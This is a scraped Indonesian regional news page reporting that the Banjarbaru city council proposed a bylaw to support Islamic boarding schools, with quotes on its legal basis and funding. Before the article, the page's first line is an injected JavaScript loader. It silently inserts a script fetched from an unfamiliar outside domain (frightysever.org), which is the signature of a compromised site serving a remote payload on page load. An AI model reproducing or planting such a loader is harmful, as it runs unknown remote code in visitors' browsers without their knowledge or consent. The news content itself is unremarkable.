(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
DPRD BANJARBARU

DPRD Banjarbaru Usulkan Raperda Inisiatif Pondok Pesantren


KANALKALIMANTAN.COM, BANJARBARU – Badan Pembentukan Peraturan Daerah (Bapemperda) DPRD Kota Banjarbaru mengusulkan Rancangan Peraturan Daerah (Raperda) usulan inisiatif tentang fasilitasi Pondok Pesantren (Ponpes), Senin (1/10/2021).

Raperda Ponpes itu sangat perlu dibuat sebagai fasilitas dalam bentuk pengakuan pondok pesantren sebagai lembaga pendidikan dalam mencerdaskan anak bangsa.

“Diharapkan dengan adanya Raperda ini peningkatan fasilitas pesantren dari pembinaan, pemberdayaan dan fasilitas diperhatikan,” ujar Norkhalis Anshari, juru bicara Bapemperda DPRD Banjarbaru.

Pembentukan Raperda didasari atas Undang-Undang Nomor 18 tahun 2019 tentang pesantren, salah satu pasal menjelaskan bahwa pemerintah dapat memfasilitasi penyelenggaraan pesantren.
Dilanjutkan dengan Peraturan Presiden Nomor 82 Tahun 2021 tentang Pendanaan Penyelenggaraan Pesantren.

 

Baca juga : Penggunaan Jalan Negara Tiga Kali Perpanjangan, Jalan Overpass PT STC Dipertanyakan

Di Kota Banjarbaru, lanjut Norkhalis, belum ada payung hukum mengenai pengaturan fasilitas pesantren di Kota Banjarbaru, sebagai asar hukum dalam rangka menjamin penyelenggaraan pesantren sebagai fungsi pendidikan, dakwah dan pemberdayaan masyarakat.

“Perda itu nanri bisa menjadi acuan pemerintah kota memperhatikan dan kepedulian kepada pesantren yang ada di Banjarbaru, seperti bantuan keuangan, sarana dan prasarana, serta beasiswa para santri. Juga sesaui dengan semboyan Banjarbaru Juara Maju, Agamis dan Sejahtera,” ujar politisi PKS ini.

Diakuinya Raperda ini merupakan salah satu support dari program Wali Kota Banjarbaru, dimana menjadikan Kota Banjarbaru yang agamis.

“Jadi dengan adanya payung hukum ini, pemerintah bisa menganggarkan. Akan tetapi, kita patut juga melihat keuangan daerah, seberapa mampu pemerintah bisa membantu pesantren yang ada di Kota Banjarbaru,” pungkasnya. (kanalkalimantan.com/ibnu)

Reporter : ibnu
Editor : bie


Desy Arfianty

Recent Posts

Bupati Kapuas Resmikan Kantor Kelurahan Selat Hulu

KANALKALIMANTAN.COM, KUALA KAPUAS - Kantor Kelurahan Selat Hulu yang berlokasi di Jalan Cilik Riwut Gang… Read More

2 jam ago

13 Februari Hari Persatuan Ahli Farmasi Indonesia: Ini Sejarahnya

KANALKALIMANTAN.COM - Insan farmasi di Indonesia setiap tanggal 13 Februari memperingati Hari Persatuan Ahli Farmasi… Read More

4 jam ago

BI Kalsel Selenggarakan SERAMBI 2026, Dukung Kebutuhan Uang Kartal Periode Ramadan dan Idulfitri

KANALKALIMANTAN.COM, BANJARMASIN – Kantor Perwakilan (KPw) Bank Indonesia (BI) Provinsi Kalimantan Selatan menggelar kick off… Read More

5 jam ago

KPK Dalami Hubungan Jabatan Kepala KPP Madya Banjarmasin di 12 Perusahaan

KANALKALIMANTAN.COM, JAKARTA - Komisi Pemberantasan Korupsi (KPK) sedang mendalami hubungan antara jabatan direksi yang dimiliki… Read More

14 jam ago

Gubernur Muhidin Ingatkan Dana Transfer Pusat Dimanfaatkan Optimal

KANALKALIMANTAN.COM, BANJARMASIN – Gubernur Kalimantan Selatan (Kalsel) H Muhidin meminta langkah strategis untuk memastikan dana… Read More

14 jam ago

Upaya Mencegah Perkawinan Usia Anak di Balangan

KANALKALIMANTAN.COM, PARINGIN - Upaya mencegah perkawinan usia anak, Dinas Pemberdayaan Perempuan, Perlindungan Anak, Pengendalian Penduduk,… Read More

16 jam ago

This website uses cookies.